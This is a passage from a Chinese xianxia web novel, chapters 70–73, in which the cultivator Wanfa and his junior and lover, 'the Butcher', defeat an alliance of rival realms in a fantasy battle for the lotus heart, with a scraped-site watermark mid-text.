“难道不是?”许清浔一笑,虽看不见对方,但仿佛能够想象到对方的表情。 这个男人大多数时候都面无表情,以前阴晴不定,现在似乎仍然一样,情绪极少外显,不说其他,就连爱意都很难看得出来,否则,他当初怎会拿捏不准这个男人到底喜不喜欢自己。 哦,吃醋的时候除外,这个男人吃醋起来,想意识不到都难。 “算了,不说这些,倒是外面那些人,你都打完了吗。” 许清浔转移了话题。 “嗯,都处理了,看上去,他们真的很想提前打败师兄。”祁桓眉头一皱。 “那当然,也不瞧瞧师兄是谁?”许清浔非常得意,搭着祁桓的肩膀道,“这是公认的第一强者才有的待遇,你羡不羡慕?” 祁桓停顿了一会,思考着说:“我有时候分不清楚。” “什么不清楚?”许清浔歪了歪头。 “……不清楚师兄到底是笨,还是不笨。”祁桓似乎是犹豫了才说,但这话毫无疑问气到了许清浔。 “好啊你小子,长大了胆子肥了,居然敢当着师兄的面说师兄笨了是吧!” 然而那个男人还一本正经地说:“实话要实说,也是师兄教给我的道理。” 许清浔傻眼,“好、好啊,倒是越来越会顶撞师兄了!” 不过,祁桓接着便安抚道:“师兄别生气,我并非说师兄愚笨,而是觉得师兄……道心坚定,一贯而终。” “你当师兄是傻子吗!”许清浔咬牙切齿,若是有力气,真想暴捶眼前这个男人。 说喜欢,但平日里也没见你多殷勤,现在倒好了,还会说师兄的不是了,真是令人费解,不说喜欢一个人,就会忍不住给对方当舔狗了吗,你小子真有那么喜欢我? 他并不是想对方舔自己,纯粹是作为恋爱小白……不太明白而已。 而祁桓似乎知道他在疑惑什么,轻笑了一声。 许清浔更加不明白,“你、你笑什么啊?” “没什么。”祁桓摇了摇头,但脸上仍挂着几分笑意。 许清浔火大了,逼到近前,严肃地问:“到底怎么了,你不说,别想有以后。” 祁桓顿了顿,声音温和下来,“并非有意顶撞师兄,只是觉得这样的师兄……真好。” 许清浔呆住,心跳好似漏了半拍,这小子峰回路转,居然又表白上了,未免太让人捉摸不透了吧,不过……倒是蛮有眼光的。 他虽然很不满,但唇线不免浅浅上扬。 他不知道,他的表情全部被祁桓看在眼里,被暗暗地记了下来。 这个男人有着一场大计划,终极目标是通过爱人的“考察”,但他琢磨过,一昧地迎合和听话,并不能让自己的爱人发自内心的高兴,有时候需要适时地“顶撞”一下,毕竟没有人会喜欢一条狗。 言辞、时机、力度等都需要格外注意,因为爱,不能只顾自己,还要揣摩对方的心思,讲究方法与策略。 这是李梦好说的,他并未亲自问了李梦好,只是某日路过,无意间听到了一些,剩下的则是他自己思考的。 讨人喜欢是一件难事,过犹不及,则成了谄媚,既违背自我,还不一定讨对方喜欢,何苦如此,更何况,他这爱人的性子…… 祁桓眼神微深,似乎逐渐掌握到了什么。 许清浔目不能视,但隐隐有几分危机感,当即小咳一声,轻声道:“罢了,你出去吧,师兄要全心全意投入修炼,不能继续搭理你。” “好。” 祁桓竟然十分干脆。 许清浔一阵诧异,却发现他没动,顿时不满道:“你不还在吗。” 祁桓微微点头,“嗯,我在等。” “等什么?”许清浔好奇地抬头。 眼前一片黑暗,说话间体温还在不断攀高,脑子都逐渐开始不清楚,以至于他的任何反应都慢了一拍,察觉到碰到双唇的柔软时已经晚了。 偷袭的家伙很快起身,然后离开。而他反应过来时,已经抓不到人了。 “……你小子。” 许清浔满面通红,气得不打一处来,但片刻后又仿佛已经消化了,喃喃自语道:“他不会是在外面学到什么手段了吧。” 否则一个原来呆头呆脑到告白都不会的男人,怎会发生如此转变?虽然中间也确实过了好几年,若是一点都不进步,那反而才是不用心…… 他似乎很生气,很想把带坏自家男朋友的家伙找出来痛打一顿,但转念一想,又放弃这个念头。 咳,这不是因为我认可了那家伙的用心,是、是因为当务之急是突破,才没有时间谈情说爱! 许清浔连忙打住思想,而后全心投入了修炼之中,半点没有懈怠。 几乎与此同时,法府之外。 黑衣修士静立门口,久久沉默,似乎有欣喜,也有担忧。 经魔突然跳了出来,“要我说,他只是在吊你而已,待到有朝一日证道成仙,他必会甩了你这包袱。” 黑衣修士眼神一暗,罕见地回复了它,“你能不能闭嘴。” 经魔意外道:“哦,说中你的担忧了?” 祁桓皱眉,“不算担忧,只是……” 他神色凝重,仿佛想到了什么。最近,他脑海里偶尔会闪烁出一些奇怪的光景,仿佛看到了另一个世界的师兄。抑或者,师兄本就是异界来客,终将回到他来的地方。 而那是——他绝对无法忍受的。 经魔不知他在想什么,无聊道:“这么多年了,你也是坚持。我真不明白,爱恋当真如此美好,让人宁愿舍弃生命乃至道途,都要紧抓在手里吗。” 祁桓闻言轻笑,好像这个问题幼稚到可笑。 经魔顿时火大,大怒道:“你倒是回答啊。” 祁桓一脸平淡,“若想知道,你便去经历。” 经魔目瞪口呆。这小子,真是越来越长进了啊。 祁桓不再管它,他的当务之急,是杀光一切可能危及师兄的人,没时间陪老东西闲谈。 片刻之后,他消去身影。 过了三日,四处传来大动静,有说屠夫到处杀人,凶残成性,也有说屠夫遭人围杀,不得已出手反击。 与此同时,李梦好、姬舞明等人也没有坐以待毙,积极寻找祁桓,商谈最终大战的事。 “祁道友,他们八界联手,人多势众,我知道你与万法十分强大,但你们毕竟势单力薄,我们同是玄界之人,何不携手抗敌。”李梦好恭恭敬敬道。 姬舞明站在李梦好身后,面色显露出几分紧张,生怕祁桓不同意似的。 但祁桓态度十分温和,直接同意了李梦好。 “他不在,但他若在,也会同意的。”祁桓淡淡道。 李梦好、姬舞明顿时一脸诧异。 果然,提到万法时,屠夫的态度总会温和许多。但真没想到,看上去那么独来独往的屠夫,居然这么容易就答应了他们。 不得不说,真是有些受宠若惊。总觉得……屠夫性情的改变跟万法有很大关系。 他们面面相觑,而转头一看时,祁桓已经走了。 沉默了片刻,李梦好肃然道:“不管怎样,我们也得抓紧提升实力了。” “是啊。”姬舞明点了点头。 这段时间,洞天内风云涌动,无数强者聚集,气氛愈加剑拔弩张。 “玄界地域最小、生灵最少,葬灭玄界是最好的选择。” “我不明白,真的非要葬灭一界不可吗?就算非要葬灭吧,那能不能提前把人救走?” “说得好听,那你来接纳那些难民?” 某个法府内,一群人争吵了起来。最后,那个提出异议的修士似乎屈服了。 “也别那么乐观,我们联手还不一定能拿下万法和屠夫。”土神一族开口,面色冷漠。 “拿不下也得拿,不只是界域存亡的问题,最重要的是我的大仇必须得报!”一个紫色男人凶狠道。 眨眼三个月过去,莲花洞天发生异变,通往最终大战的“入口”猝不及防地出现了! 几乎与此同时,某个法府内,一位青衣修士站起身,笑道:“师弟,出门了,陪师兄横扫一切敌人。” “是。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 70-80 第71章 第七十一章 “他是我们这个时代的神。……- “万法, 你总算出来了!” “你们走开,我来对付万法。” “别逞能,万法起码要我们联手才能对付。” 灵力暴乱,黑云涌动, 恐怖的雷霆撕裂大地, 伴随着无数斗法的亮光, 最终之地已经成了一片战场,天品法宝被接连祭出,如同多个太阳同时临空,烧灼大地, 还有无数法符横飞而出, 如同四通八达的河流, 顷刻间覆盖了整个战场。 到了这一刻, 能崭露头角的修士至少得是金丹后期。 而整个莲花洞天里面,实力到达这一境界的,竟前所未有地到达了二十多人,其中或许有些是拔苗助长的, 但他们凭借古经之力,也能站在此时最强的一角。 轰!土神一族强势出击,直接支配了整片大地,山岳如水波荡漾,化作裹挟土气的利剑,对着法符环绕的高空二话不说就是一顿猛攻。 与此同时, 天穹之上突然劈下一柄血色长剑,瞬间击穿了翻涌的大地洪流,将那片山峦死死地钉在原处,剑锋的周围爆发出一股摧古拉朽的毁灭之力, 再一看便是一片通天的血光。 大修士之交战,举手抬脚便可毁天灭地,寻常修士若是不小心牵扯其中,死都不知道怎么死。 可是交战双方都只是金丹期而已,却都各个打出了元婴级别的威能,真叫人望而生畏啊! 土神一族遭到重创,战意不减,立马又祭出了家族神器。只见一尊顶天立地的大鼎横在虚空,释放出玄黄真气,鼎身的古代符文映照虚空,令周围全是上古异象,看上去古老而宏伟。 随即,一瞬间而已,大鼎爆发出一股震天动地的恐怖伟力,抽空了土神一族的大半灵气,向法符环绕的高空再次发出猛烈进攻。 但攻击还未到达,便见一道血线横空而过,带着一股令人颤抖不已的恐怖杀意,瞬间斩断了大鼎的攻击。 那个人的杀戮神通,已经到了不只能杀人,杀生灵,还能杀物,杀攻击的程度了吗。 围观者都傻眼了,控制不住地发抖。 而法符之海中,有人还笑着说:“不错不错,你的神通快成概念武器了。” “概念”一词乃第一次听,都不知为何也能理解。 “概念吗。”黑衣修士轻轻颔首,好像正在感悟自己的神通。 土神经见状大怒,连忙道:“不要给他进一步领悟的机会,杀过去!” 土神往闻言,气得面目狰狞,大叫道:“诸位还在等什么,还不快一起出手!” 这话一出,围观者们不能再围观了。 转眼间大战爆发,参战的修士多达一千人,几乎是莲花洞天的全部幸存人数了。 “莲心”就在前方,他们想要阻断万法和屠夫,只能在这里! 轰!天雷轰顶,化龙猛攻。 金刚也出手了,但两边都不站,见到谁便打谁,主打一个六亲不认。 侠剑不想参与此事,欲脱离战场,率先斩获莲心,却被火神一族强行拦截。 混战之中,李梦好伺机出手,最为防不胜防的摄魂攻击瞬间拿下了几条人命。 所有人都在谋生路,哪怕是弱到根本不能参与这个战场的修士。 许清浔立于天穹之上,眸底映照着每一处战场,听到了混杂在斗法之中的那些试图传来的声音。 ——“万法,我们可以不对付你,只要你赢了之后不葬灭我们的家乡,我们就立刻停手。” ——“万法,我来助你,但你之后不能葬灭我族。” 八界都传来了这种声音。 有的是真情实意,有的是投机取巧,有的是为了降低他的敌意,好偷袭他。 许清浔垂下双眸,面前大风吹来,令他道袍猎猎,身姿凛然。 无数的法符环绕于他的四面八方,最上方的则是——海量的、密密麻麻的天雷符。 底下终于有人注意到了危险,立即道:“不好,万法引动了雷劫!大家快跑!” “万法,我们对你没有敌意!”另一人大喊道。 可是,恐怖的雷劫还是降临了,它覆压十里,规模宏大,爆发凶猛,几乎将包围其中的修士全部轰杀殆尽,已然是一场残酷的大屠杀。 雷光笼罩了整片天地,不过一呼吸之间,那片大地便彻底凹陷,只剩下黑糊一片的焦土。 这是第一次,万法对人使出如此凶悍的雷霆手段,震惊了周围所有人。 金刚、侠剑等人都愣住了,眼里写满了难以置信,似乎在他们的印象中,万法虽然强大,但较为心慈手软,极少这样大规模屠杀。 这样的手顿,已经堪比屠夫了。 火神洪、金神贵、水神月等人同样目瞪口呆,都有点无法相信眼前所看到的。 然则,这是铁打的事实。 许清浔眼神平静,似乎内心没有一丝波动。他白发随风飘动,嘴里轻声喃喃:“还是水友们那句话说的好,没有雷霆手段,谁敢菩萨心肠,这些人敢三番五次围杀我,纯粹是我给他们的威慑不够,抑或者说——” “我太给你们脸了。” 他冷笑一声,声音很低,却传到了好几个人耳中,令他们浑身一颤,毛骨悚然。 今日的万法,将绝无仁慈可言! 他们心脏猛跳,然而回过神时已经晚了,迎面而来的剑王符带着成千上万的灵剑杀来,直要将人挫骨扬灰! 他们无法理解,同为金丹修士,为何万法能够同时使出这么多高阶法符,并且同时瞄准了他们这么多人,那份海量的灵力,还有堪比妖孽的精神力,究竟是哪里来的! 刷的一声,转眼便有几十人被剑王符迎面瞬杀。 剩余的人不得不拿出压箱底的手段才勉强应对了剑王符。 还没来得及喘口气,剑王符之后,五行符祭出,五色的天光笼罩了整片天地,五色灵力转眼化作了五条龙,猛然杀向就近之人。 李梦好一动不动。姬舞明张大了嘴巴。他们两人还想着帮忙对敌,却没想到人家万法好像一个人也能解决?连屠夫都还没有怎么出手啊。 等等,不是,真的只凭一己之力镇压八界英杰? 姬舞明看着群龙肆虐的战场,转头问李梦好,“我在做梦吗。” 李梦好突然打了姬舞明一拳,姬舞明立刻疼得嗷嗷叫,李梦好转头道:“不是做梦。” 姬舞明大怒,“不是做梦你打我干什么啊!” 合欢宗的人真是不可理喻! “闭嘴,又有家伙来了。”李梦好看着远方,眼神忽变凝重。 只见,远方人还没来,阵图先飞驰而来,赫然扎在四面八方,形成了一个大阵法,紧接着一个巨大的阵盘横空飞来,带着震慑空间的恐怖压力。 “洪界的人来了。”李梦好皱眉道。 九界,分为天、神、洪、易、玄、黄、道、幽、明,其中,最擅长阵法的一界莫过于洪界。他们不似其他界山头林立,修士十分团结,只有一个特大宗门,那就是洪道宗。 此时此刻的来人,正是洪道宗首座带领的阵法军团。 他们人一到,那些人立刻眼露希望。 “洪道友,你可算来了!”土神一族如获救星, 洪飞艺立在虚空,背负双手,紫蓝色的修身长袍显得整个人十分冷酷。他看了一眼土神一族,淡淡道:“闲话不多说,集中力量对敌吧。” “是!”众人备受鼓舞。 下一瞬,阵旗猎猎,一股滔天杀意弥漫开来,带着实质的压力,令人不禁胆寒。 黑衣修士低眸,手持长刀,扫视众人。 洪飞艺抬头,额间冷汗直流,当即催动了天地阵法,一时之间成千上万的阵旗发出白光,凝结出一股强势无比的力量。 与此同时,幽界神通者到场,又引起了一阵欢呼。 众所周知,幽界是神通造诣最强的一界,他们这一代的圣子圣子各有圣品神通,实力超凡脱俗,若是放在其他世代,足以成为碾压一个时代的强者。 可惜,九界大炼开始没多久,他们就双双败给了万法,圣子幽海惠更是倒霉,蒙受了奇耻大辱,被万法俘获当成锻炼屠夫的磨刀石,被狠狠地折腾了一段时间,若说道心没有出一点问题,外人都不会信。 幽海惠一到场,先是扫过洪飞艺的阵图,后抬起头,死死地盯着天上的黑衣修士,紫眸中燃着激烈的怒火,以及隐隐的妒火。 “屠夫,这次我一定要杀了他!” 他这话一出,首先让身边的幽海灵感到了一丝困惑。 谁都知道幽海惠在万法手下吃了大亏,理应最为痛恨万法才是,但事实却是,他对屠夫的仇恨更胜于万法,面对屠夫时,简直要将对方粉身碎骨。 她不太理解,但此时此刻,并没有时间思考这些东西,因为幽海惠已经飞冲了上去,身后神通法相尽显,一来就是要玩命。 “诸位,既然决定先联手拿下万法和屠夫,那就不要藏着掖着了,都使出真本事吧。” 幽海灵声音不大,却精准地传到了每一个人耳中,包括暗中观察的明界圣子圣女。 明界圣女看了明界圣子一眼,“机会来了。” 明界圣子叹了口气,他似乎并不大打算插手,可是箭在弦上不得不发。他摆了摆手,突然仰头大叫道:“黄界的诸位可不要想着坐收渔利,大家都动手,就你们旁观?” 黄界诸人闻言,只好挨个显露身形。 “什么坐收渔利,别把人讲得像阴谋家,我们在对付万法上可从来没有懈怠过。” 黄小利坏笑一声,细长的眉眼仿佛戏曲中常见的奸贼角色。 他们说话时,高空上已经大战了好几轮,幽海惠被一刀砍下深缝,生死不明,血色的生死线如同真实的生死界限,审判着在场所有人的生死。 易界、道界高手相续出场。其中一位身形高大的修士开口,“既然如此,就别浪费时间了,我们一起上吧。” 天界外号“万宝”的少年也现身了,抬头仰望着如若烈日的那个存在,咧嘴一笑道:“去吧,去挑战神明。” 黄小利傻眼,转头问道:“你的意思是万法是神?” “万宝”摇头又点头,“他是我们这个时代的神。” 众人闻言愕然,洪飞艺操作阵法的手微微一顿。 空气微妙地安静了一下,却没有人反对这个说法。 是,万法确实是神,在场所有人都被他击败过,曾经意气风发,道心如猛虎,但被击败后,只好把“意气”生生吞下去,在心里阴郁地酝酿着复仇的计划。 “呵呵,他是神吗,那我们今日便是屠神了。”黄小利大笑一声,脸色却丝毫不见轻松。 “屠神?说得好,不将头顶的神杀死消灭,如何能证道成仙。”道界的高大修士点头称赞。 “八界群英荟萃,共讨一敌,岂有不败的道理!” 土神一族大喜,顿时自信洋溢,仿佛这一刻,便是摘日也非难事。 然而,下一瞬,他们的笑容瞬间凝固,皆难以置信地仰望着天空。 他们的所在,正被巨大的阴影所覆盖,那是一朵纵横天地的巨大青莲,由无数的法符汇聚而成,八面在外,皆铭刻着至为古奥的强大符文。 青莲的中心,那位风华绝代的修士勾唇一笑,垂下浅色的双眸,道:“你们终于商量完了吗。” 这一刻,众人不由自主地屏住了呼吸。 幽海灵不知预感到了什么,当即慌忙道:“快撤!” 晚了。 下一瞬,比刚刚还要恐怖十倍的雷劫骤然降临,毫不讲理地倾泄于方圆十几里的天地,令他们逃都逃不出雷击范围。 祁桓旁观着这一切,似乎早已有所预料,他抬起眸子,只见高空之上,青衣修士白发飞舞,唇边挂着淡淡的笑意,仿佛只是做了一件微不足道的小事。 第72章 第七十二章 “他是我爱人。”…… 转眼间而已, 原本坚固的大地化为一片焦土,雷光纵横交错,仍旧滋滋作响。 这一击,虽不足以打趴所有人, 但足以让金丹中期以下的修士彻底退出大战, 而金丹中期以上的修士没死都脱了一层皮, 比如土神一族就直接倒了好几个高手,谁让他们距离雷击的中心最近,其中有个人直接劈到了不见人影。 这就是万法的实力,虽然他们早就心知肚明, 但今日再次经历, 居然发现对方还更强了。 黄小利撑起道体, 大笑出声, 眼神中透着暴戾的光,“哈哈哈,不愧是你,但我不会就此认输!” 说完, 他化作一道黄光消去身形,几乎是瞬间杀上了高天。 其他人也不甘落后,回过神后纷纷打出最强手段,争先恐后地杀了上去。 到了他们这个级别,攻击早就无法用肉眼捕捉,因此在旁看来, 好似无数道激光闪过战场,伴随着激烈爆炸声。 被誉为的“万宝”修士体质羸弱,慢了一步,但依旧不甘示弱, 当即祭出十个天品法宝,驾驭龙形祥云冲天而去。 洪飞艺一咬牙,挥手展开成千上万的阵旗,试图包围那片青莲。 明界圣子与明界圣女对视一眼,仿佛走入了虚空,竟凭空消去了气息。 幽海惠仰天长啸,“谁都不要打屠夫,他交给我!”话音未落,他如炮弹般冲去高空。 幽海灵眸光一暗,双手摊开,祭出无尽灵火。 都是天才,都有意气,都不喜欢输给同代人,但是无论哪个时代,都只有一个人能登顶。 所以,必须争,哪怕头顶烈日当空。 瞬息之间,法符如雨,激射而下,如同遮天蔽日的黑伞,令整片大地都覆满了阴影。 “真是见了鬼,他到底哪里来这么多法符!” “就算法符比法宝好炼,也不带这样的吧。” 出战的众修骂骂咧咧,但没有一个人敢掉以轻心,连忙各使手段消灭了杀到面前来的法符。 他们知道,万法虽强,但他有一个众所周知的“弱点”,那就是他单张符的强度通常比较弱,构不成致命伤,哪怕一下子打出千张符,也不一定能立刻把人带走,更何况在场的诸位全是一界英才,身上有的是保命的法宝,只要开战的先头顶得住万法的火力,大量消耗万法的法符,他们就有战胜万法的机会。 这也是为什么他们愿意联手。 此时,高空之上连续爆炸,神通、法宝、法符等攻击手段混杂在一起,场面混乱无比。九界大炼开启以来,恐怕都没有过如此激烈的大乱斗,山头都被削平了,方圆十里的大地都成了战场。 混乱之中,从天而降的生死线如同阎王的斩首刀,转眼之间令一群英才血溅晴空。 有人惊叫:“是屠夫的神通!幽海惠已经被打败了!” 话音未落,天上的斗法更加激烈。 地上的姬舞明迷茫了,他呆呆地看着天空,已然不知道自己该不该出手,他肉身强大,保命本事极强,但战力太弱,若是进到那片战场……估计不是被砍就是被揍,发挥不到什么作用。 姬舞明愣了一愣,转头看向李梦好,问道:“但话又说回来,你为什么也一动不动。” 李梦好面色微僵,沉声道:“我倒是想动,但我怕我上去也是添乱,阻碍万法大人不能自如发挥。” 姬舞明停顿了一下,心想你就算上去,许大哥应该也不会太注意你吧。 李梦好盯着高天,有感而发道:“然而与我不同,快看,那位与万法大人的配合。” 所谓“那位”,自然是指“屠夫”。 姬舞明再次抬头,随即瞳孔猛地收缩,身体不由自主地颤抖了起来。 高空之中,青衣修士悠然抬手降下法符,而其周围三丈之内自始至终无人能够接近,每一个几乎要接近的修士,都被一道鬼魅般的黑影强势斩飞,更有甚者,当场被拦腰斩断,血洒青天。 于是乎一时之间,天上仿佛围绕着青衣修士,形成了一个血溅的圆。 那画面血腥而美丽,震撼人心,乃姬舞明这一生见所未见,叫他忍不住张大了嘴巴。 “万法大人虽强,但毕竟驾驭着如此海量的法符,估计很难顾及自己,而这种时候,每次都有屠夫大人全力相护,所有可能接近万法大人的人都被斩飞了。”李梦好缓缓分析,声音里也有几分颤抖。 其实一开始,屠夫大人的神通绝不是这一代强者里面最强的,最强的应当是道界那一位生来有九个天品神通的逆天妖孽。 一年前,屠夫大人与其交战,强势镇压了那位妖孽,这才奠定了这代神通第一的声望。 杀戮神通,无不可杀,堪称最危险的神通!但屠夫大人的强大并非只在于神通本身,更在于他出神入化的用法! 遥想当年那一战,万法大人坐而旁观,让屠夫大人一人去对战,很多人都以为万法大人是要舍弃屠夫大人,让屠夫大人去赴死,万万没想到,屠夫大人转眼就拿下了“神通第一”! 李梦好一边回想一边热血沸腾,吓了旁边的姬舞明一跳。 姬舞明感觉,他搞不好是这片战场中最正常的人。 就在这时,高空传来一阵震耳欲聋的巨响,天空好像被斩裂了,竟像一面破镜,呈现出四分五裂的样子。 有人狂喜高呼:“万法纳命来!” 说话的那一霎那,整片界域的灵气都好似被抽空了,凝聚于他毁天灭地的究极杀招——开天拳。 他的面前,防御法符被提前清空,只需一个冲刺,便能直杀青衣修士。 但他快,黑影更快,刀光横天斩,仿佛能够横切天地,瞬间击退了黄小利的飞斩。黄小利口吐鲜血,爆发过后,整个人的体肤都变黑了。 他的神通是神速,但即使如此,也没能快过祁桓。这简直太离谱了! 轰!地面再次开出了一个巨大的深坑,黄小利砸入其中,血肉模糊,勉强留有一丝神识,但已经无法动弹了。 整个大斗法过程不到半刻钟,但他们这方几乎已经手段尽出,然而敌方的法符还是无穷无尽,化作巨大的雷龙不断吞噬着己方战友。 这根本没道理……不,是没天理啊! 天道你大爷的,你睁开眼睛看看,这世上怎么多出了一个这么离谱的怪物。 他还是人吗?!黄小利几乎要气死。 一转眼而已,伤的伤,死的死,还有部分昏迷不醒生死不明的。 地上千疮百孔,深坑里面的要么是半死不活的,要么是已经死了的。 强弱之分,亦如天地之分,竟如此分明。至少在开战之前,他们对此都没有预料。 以为……胜算至少有六成。 然而往天上一看,那个人甚至还背着手,一副轻松自如的模样,扫过战场的视线像是在打量战利品,莫名令人发毛。 真的,没人能够打败他了吗。 好几个人心思翻涌,但压不住内心滋生的绝望。 洪飞艺栽倒在深坑之中,好不容易炼制的阵旗被尽数毁去,家族千年传承的阵盘也被毁了,如今的他,哪怕还有体力,还能再战吗? 同样在深坑之中,幽海惠昏迷不醒,幽海灵灵力消耗殆尽,金丹再也运转不出一丝灵气。 “万宝”深埋土中,生死不明。 明界圣子和明界圣女不知所踪,不知是不是被打没了。 神界五行族的人已经尽数倒下,完全不能指望了。道界乃“道法第一”的界域,但倒最快的,好像也是他们。 这时,有人拖着伤体飞到高空,对天上之人怒目而视,吼道:“万法,你此时可以大败我们,但到外界会如何?玄界弱小,化神都没几个,待九界大炼结束,我们的宗门、家族知道里面发生之事,必会联手消灭玄界,尤其是你!” 青衣修士道袍猎猎,微垂眸,“又是这样吗,打不过就搬爹搬爷爷,好像我对你们八大界行了什么灭绝之事,却不知,眼前这个情况,比之原来已经好太多了。” 那个人愣了一下,脱口问道:“你这是什么意思。” “没什么意思。”青衣修士摆了摆手,横空的雷龙顿时杀来,将那个人劈下大地,浑身焦黑,生死不明。 许清浔表面平静,实则内心生出了些许波澜。原著之中,在场的这些人有一个算一个,都死在了祁桓手里,不走运的还会被祁桓吞噬,更不走运的甚至会被祁桓活活炼死。 九界大炼的最终只活下了不到十个人,除祁桓本人之外,那几位都是侥幸存活下来的,可谓是史上最血腥的一次大炼。 而赢到最后的祁桓,在得到葬灭一界的权力之后,木然地选择了非玄界的随意一界,也就是道界。 许清浔心思一沉,表情顿时凝重了几分。亲手葬灭一界,背负了数以亿万的人命和因果,是一种什么样的感觉?他不知道,也不敢想象,只知道当时的祁桓崩溃了,后来放弃自我,让魔经夺舍为非作歹。 而昔日书中的故事,此时成为了他的现实。 他转眸望向莲心本蒂世界,眼里的复杂一闪而逝,其实若是有人打败了他,未必是一件坏事,他就不必去做那个选择了,但……好吧,该来的还是要来。 至少,要做出不令自己后悔的选择。许清浔心中告诫自己,目光不由看向了那个正与敌人激战的黑衣修士。 我算是成功改变你了吗。他忽然心中自语,无声地笑了笑,心想怎么不算成功呢,原来那个祁桓怎会喜欢人? 虽然弯了是弯了,但好歹三观救回来了,问题不大。 他想着,忽然面色一变,眼神凝重地看向前方。 对面两人隐藏着虚空之中,一直等候着偷袭他,如今终于准备出手,但似乎没想到他看似走神,实则一直注意着他们的动静。 明界圣子看了明界圣女一眼,两人脸色黑沉,挥手解开了无形无影神通。 他们居然距离许清浔如此近,只有五丈距离。 许清浔看着他们,忽然一笑,“我当是谁呢,原来是‘妖言惑众’的始作俑者们。” 两人面色顿变,眼里闪过一抹意外,又很快恢复正常,仿佛想到了合理的解释。 “万法,收手吧,你是不应存在之人,本就不应干预。”明界圣子低声开口,似乎是为许清浔着想。 许清浔一听,瞬间想到了什么,竟不禁笑道:“原来如此,你们也是所知有限啊。” 明界圣女皱眉,突然郑重开口,“万法,你究竟是谁,为何在此。” 许清浔自顾自地点点头,温声道:“没事,等事情结束了,若还有机会,我再详细跟你们说,至于此时此刻,我只好请两位先退走了。” 两人一愣,察觉到危机时已经晚了。 这片天空已经彻底是万法的法场了! 又一道炽烈的光闪过,两个陨石般的存在飞速砸向地面,又形成了两个巨大的深坑。 黄小利等人身形为之一抖,洪飞艺惊道:“他们也败了,还有人吗?” 许清浔轻笑一声,招手道:“诸位还活着的,日后有机会,在下恐怕还会再叨唠。” 众人闻言愣住了,不由得毛骨悚然。 而许清浔歪头,竟然还一脸良善地补充道:“敬请期待。” 说完,他如烟般消去身形,留下一群人面面相觑。 有人回过神,当即就要追万法,但迎面而来就是恐怖的生死线。 是啊,万法虽然先走了,但屠夫还在! 糟糕,这下八界之中就要有一界被葬灭了! 他们一地伤残,没法指望。突然有人大喊,“屠夫,你为何不跟上万法,你难道不想拿下莲心吗。” 事到如今还试图挑拨离间,也真是急到晕头了。屠夫要是可能被策反,早就被策反了好吗。 果不其然,天上的黑衣修士对他们不予理会,只有目光投向了远方,向来冷漠的脸色渐变温和,眼里仿佛压着极其复杂、同时也极其激烈的情绪。 灰头土脸的黄小利直起身来,忍不住问道:“万法到底是你什么人,你要如此守护他。” 黑衣修士终于有了动静,转头看了黄小利一眼,语气平淡,但语出惊人。 “他是我爱人。” 这一刻,几乎所有人都愣住了,黄小利张大的嘴巴几乎可以放下一颗鹅蛋。 第73章 第七十三章 一山不容二虎,除非是道侣…… 爱、爱人?! 他们没有听错吗?屠夫说, 万法是他爱人? 众人好像又遭到了一阵天雷轰顶,脑子都在变糊变焦,黄小利刚刚试图起身,此刻脚一滑, 又一屁股跌回了深坑之中, 睁大眼睛不知所措。 屠夫这家伙, 居、居然是万法是道侣关系吗?! 他们明明是师兄弟吧。啊,等等,他们不都是男人吗? 众人此刻的表情极其精彩,有的难以置信, 有的惊掉下巴, 有的好像受到了极大的刺激, 直接晕死了过去, 据旁人目睹,那是幽海惠。 所有人之中,唯一镇定、仿佛预料之中的,唯有李梦好。 李梦好身边的姬舞明目瞪口呆, 转头看了李梦好一眼,更是深受震撼。 哥们,凭啥你好像已经知道了的样子啊。 战场出奇的安静,众人哑然,不知道该说什么。有人仔细一想,觉得这才合理, 一山不容二虎,除非是道侣! 再一想,屠夫对万法的态度本就不一般,像他这种人, 本该独来独往,以杀证道,然而却甘愿追随万法,为什么,当然是因为感情不一般啊。 明界圣子和明界圣女互看一眼,都看到了彼此的震惊。 洪飞艺愣在原地,竟不知该如何评价。 道界的人一片沉默。 “等等,这就是‘法地财侣’的真谛吗,有道侣的人才能无敌?” “别、别惊讶了,我们在这耽搁的功夫,万法搞不好已经夺得莲心了!” 有几个人及时回过神来,似乎正试图追上去,但很快被一股恐怖的杀气镇住了。 他们颤颤地抬起头。只见,天上立着一尊杀神般的存在,视线所及之处,无不胆战心惊。 虽然九界大炼公认的第一强者是万法,但在“杀人”上的最强,绝对非屠夫莫属。 有万法在的屠夫,或许威胁不大,没有万法在的屠夫,恐怕会比万法本人还要恐怖! 某种意义上,万法是屠夫专用的抑制法宝啊。 众人面面相觑,都不敢轻举妄动。 而且,就算动了,又能如何?万法在的时候,他们联手都打不过了,就算追上去,恐怕也是被打,结局不会发生任何变化。 就连洪飞艺都低下了头。 战场陷入了一片死寂- 几乎与此同时,许清浔飞越无数山岭,终于停步,面前降下了一层层流光溢彩的光幕,他的目光凝重地望着前方,没有丝毫松懈。 联手对付他的,是九界大炼中高手的大部分,还有小部分抢先一步到达了这里,且都不是普通高手。 众所周知,莲心周围有着极强的防御阵法,通常要一群人联手轰击一日乃至两日,才可能打破阵法,取得里面的莲心。 他们虽抢先到达了,但火力不够的情况下,若是贸然耗尽手段,待后来人追上时,自身便会有危险。 从现场的情况上看,他们都默契地选择了先不出手。 “万法,既然你都来了,那也就说明,他们都败了吗。” 一人走出来,眯了眯眼,瞳孔深处泛着幽光,显然在用瞳术的神通。 许清浔轻笑一声,“明知故问,你是瞎子吗?” 那人闻言脸色瞬黑,冷笑道:“呵呵,万法,你还是老样子,敬酒不吃吃罚酒!” 场面当即剑拔弩张。 这些人本来就戒备着许清浔杀出重围,如今许清浔本人来了,那便——只有战! “想来,你在他们身上已经浪费了不少法符吧。”一个长脸男人走了出来,鹰眼锐利如剑,仿佛能够看穿许清浔。 许清浔摆了摆手,“才用了三成法符,信不信?” 同时应对那么多人,才用了三成法符?这怎么可能? 他们闻言,表情都不同程度地表现出了难看。 那些人联手的实力,对比他们联手的实力绝对不会低,但竟然只消耗了万法三成的法符? 有人内心动摇了,但那个鹰眼男人呵斥道:“别听他胡说八道,他在诈我们!” 许清浔闻言大笑,但转瞬眼神变了,带上了若有若无的杀意,“好了,闲聊到此为止,今日我请诸君赴死。” 话音未落,几乎所有人都心头巨颤。 然而,想退出也已经来不及了。 不到一刻钟的功夫,光幕之下又发生了一场大斗法。 巨大的青铜鼎横空而立,流溢出滚滚的混沌气。 有人爆血化龙,长啸一声空间扭曲,爆发出极其恐怖的神通灵力。 还有人不知吃了什么丹药,当场透支潜力,获得了货真价实的元婴实力。 